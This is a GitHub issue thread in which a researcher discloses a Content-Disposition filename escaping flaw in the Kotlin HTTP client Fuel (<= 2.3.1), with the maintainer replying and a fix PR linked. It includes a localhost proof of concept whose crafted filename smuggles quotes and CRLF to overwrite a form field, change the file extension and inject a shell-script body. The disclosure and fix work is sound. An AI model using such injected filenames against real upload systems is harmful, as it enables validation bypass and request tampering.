motoyasu-saburi commented 11 months ago

I have contacted the maintainer several times and have not received a response in six months, so I will describe the details of the vulnerability here.

Summary

fuel (<= 2.3.1) is vulnerable to "multipart/form-data Request tampering" caused by Content-Disposition filename lack of escaping. (fuel v3 is not affected)

fuel > core > DataPart.kt > [InlineDataPart, FileDataPart, BlobDataPart] > contentDisposition contains a vulnerability that allows the lack of escape filename.

https://github.com/kittinunf/fuel/blob/105d3111d71623cb831af3f411ea253db766f369/fuel/src/main/kotlin/com/github/kittinunf/fuel/core/DataPart.kt#L100

https://github.com/kittinunf/fuel/blob/105d3111d71623cb831af3f411ea253db766f369/fuel/src/main/kotlin/com/github/kittinunf/fuel/core/DataPart.kt#L176

https://github.com/kittinunf/fuel/blob/105d3111d71623cb831af3f411ea253db766f369/fuel/src/main/kotlin/com/github/kittinunf/fuel/core/DataPart.kt#L272

By exploiting this problem, the following attacks are possible

An attack that rewrites the "name" field according to the crafted file name, impersonating (overwriting) another field.
Attacks that rewrite the filename extension at the time multipart/form-data is generated by tampering with the filename
An attack that appends the contents of a file by doing a CRLF Injection in a Multipart Part.
Validation bypass of file extensions (Special Scenarios)

For example, this vulnerability can be exploited to generate the following Content-Disposition.

input filename:

overwrite_name_field_and_extension.sh"; name="foo";\r\n\r\ndummy=".txt

generated header in multipart/form-data:

Content-Disposition: form-data; name="bar"; filename="overwrite_name_field_and_extension.sh"; name="foo";

dummy=".txt"

The tampering header

has multiple "name" fields and the filename has been rewritten from *.txt to *.sh .
has two "NEW LINE (CRLF)" injected and a value inserted into the body (dummy=".txt") .

The cause of this problem is the lack of escaping of the " (Double-Quote) character & CRLF (\r \n) in Content-Disposition > filename.

WhatWG's HTML spec has an escaping requirement. https://html.spec.whatwg.org/#multipart-form-data

For field names and filenames for file fields, the result of the encoding in the previous bullet point must be escaped by replacing any 0x0A (LF) bytes with the byte sequence %0A, 0x0D (CR) with %0D and 0x22 (") with %22. The user agent must not perform any other escapes.

On the other hand, there is no clear requirement in the RFC.

Since filename is a field that may reflect user input values as they are, it may be used in attacks. (For example, the value may be retrieved from a DB, or a parameter may be used directly.)

The name field is unaffected because it is often a fixed value specified by the developer.

My calculations CVSS (v3):

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
Score: 6.5

However, I think is that this is a limited problem and an example of CVSS not matching the actual risk.

Comprehensive report on this issue:
https://gist.github.com/motoyasu-saburi/1b19ef18e96776fe90ba1b9f910fa714

Cause & Fix

As noted at the beginning of this section, encoding must be done as described in the HTML Spec.

https://html.spec.whatwg.org/#multipart-form-data

For field names and filenames for file fields, the result of the encoding in the previous bullet point must be escaped by replacing any 0x0A (LF) bytes with the byte sequence %0A, 0x0D (CR) with %0D and 0x22 (") with %22. The user agent must not perform any other escapes.

Therefore, it is recommended that Content-Disposition be modified by either of the following

e.g.

Before Content-Disposition: attachment;filename="malicious.sh";\r\ndummy=.txt

After Content-Disposition: attachment;filename="\"malicious.sh\";\r\ndummy=.txt"

or

After Content-Disposition: attachment;filename="%22malicious.sh%22;%0d%0adummy=.txt"

reference: Golang escape code:

https://github.com/golang/go/blob/561a5079057e3a660ab638e1ba957a96c4ff3fd1/src/mime/multipart/writer.go#L132-L136

PoC

Create Kotlin Project

Edit gradle file

...
dependencies {
implementation "org.jetbrains.kotlin:kotlin-stdlib"
implementation 'com.github.kittinunf.fuel:fuel:2.3.1'
}
...

Create dummy file
```
$ touch a.txt
```
Create PoC code

$ vi main.kt

import com.github.kittinunf.fuel.Fuel
import com.github.kittinunf.fuel.core.FileDataPart
import java.io.File

fun main(args: Array<String>) {
    val filename = "malicious.sh\"; name=\"overwrite\"; \r\nContent-Type: text/x-shellscript\r\n\r\n#!/bin/bash\r\necho \"hello\" #dummy=a.txt"
    // Edit Upload Server
    val (request, response, result) = Fuel.upload("http://localhost:12345")
        .add {
            FileDataPart(File("a.txt"), name="profile", filename=filename)
        }
        .response()
}

Run Logging Server

Use a logging server of your choice, etc. (e.g. Python)

from http.server import HTTPServer
from http.server import BaseHTTPRequestHandler

class LoggingServer(BaseHTTPRequestHandler):

    def do_POST(self):
        self.send_response(200)
        self.end_headers()
        self.wfile.write("ok".encode("utf-8"))

        content_length = int(self.headers['Content-Length'])

        post_data = self.rfile.read(content_length)
        print("POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n",
                     str(self.path), str(self.headers), post_data.decode('utf-8'))
        self.wfile.write("POST request for {}".format(self.path).encode('utf-8'))

ip = '127.0.0.1'
port = 12345

server = HTTPServer((ip, port), LoggingServer)
server.serve_forever()

Run PoC code
View logging server

...

 --0e41435c-72a8-4a40-976b-d5ba01f38565
Content-Disposition: form-data; name="profile"; filename="malicious.sh"; name="overwrite";
Content-Type: text/x-shellscript

#!/bin/bash
echo "hello" #dummy=a.txt"
Content-Type: text/plain

abc

--0e41435c-72a8-4a40-976b-d5ba01f3856

Request multipart/form-data > Part:

Content-Disposition: form-data; name="profile"; filename="malicious.sh"; name="overwrite"; Content-Type: text/x-shellscript

!/bin/bash

echo "hello" #dummy=a.txt"

name fields is duplicate (profile & overwrite)
filename & extension tampering ( .txt --> .sh )
Injected file body (part body)

Impact

Attack Scenario:

For example, the following may be considered

Validation Bypass
- If a system uploads a file to another site after the system has performed Validation of the uploaded file, Validation can be bypassed by rewriting the file as .txt during validation and .sh during transmission.
Tampering with hidden requests
- For systems that proxy/forward received files to internal systems
- There is a possibility of rewriting (overwriting) fields that are not visible from the outside by tampering with the name field.
- Appending and tampering with file contents via CRLF Injection

Reference:

Relate RFC: https://datatracker.ietf.org/doc/html/rfc2231 https://datatracker.ietf.org/doc/html/rfc2616 https://datatracker.ietf.org/doc/html/rfc5987 https://datatracker.ietf.org/doc/html/rfc6266 https://datatracker.ietf.org/doc/html/rfc7578 https://datatracker.ietf.org/doc/html/rfc8187

WhatWG HTML Spec > multipart/form-data escape requirements: https://html.spec.whatwg.org/#multipart-form-data

Golang Impliments: https://github.com/golang/go/blob/561a5079057e3a660ab638e1ba957a96c4ff3fd1/src/mime/multipart/writer.go#L132-L136

Symphony (PHP Webframework) Impliments: https://github.com/symfony/symfony/blob/123b1651c4a7e219ba59074441badfac65525efe/src/Symfony/Component/Mime/Header/ParameterizedHeader.php#L128-L133

Spring (Java Webframework) Impliments: https://github.com/spring-projects/spring-framework/blob/4cc91e46b210b4e4e7ed182f93994511391b54ed/spring-web/src/main/java/org/springframework/http/ContentDisposition.java#L259-L267

Similar problem with another HTTP Client:

httparty: https://github.com/jnunemaker/httparty/security/advisories/GHSA-5pq7-52mg-hr42
Playframework WS: https://github.com/playframework/playframework/pull/11571
Firefox: https://bugzilla.mozilla.org/show_bug.cgi?id=1556711

OWASP ASVS v5 > Content-Disposition escape disscussion: https://github.com/OWASP/ASVS/issues/1390

kittinunf commented 11 months ago

@motoyasu-saburi Hey, thank you so much for the update on the vulnerability! I'm a little bit busy with my new project at the moment but I can take a look on the fix next week. If you have time, please also feel free to send PR. For v2, bug fix (and others that are not feature updated) will always be supported.

motoyasu-saburi commented 11 months ago

@kittinunf

I create a PR. Could you please review it?

https://github.com/kittinunf/fuel/pull/877

kittinunf / fuel

Fuel(v2) has a vulnerability that allows tampering with other fields and tampering with files. #876

Summary

Cause & Fix

PoC

!/bin/bash

Impact

Reference: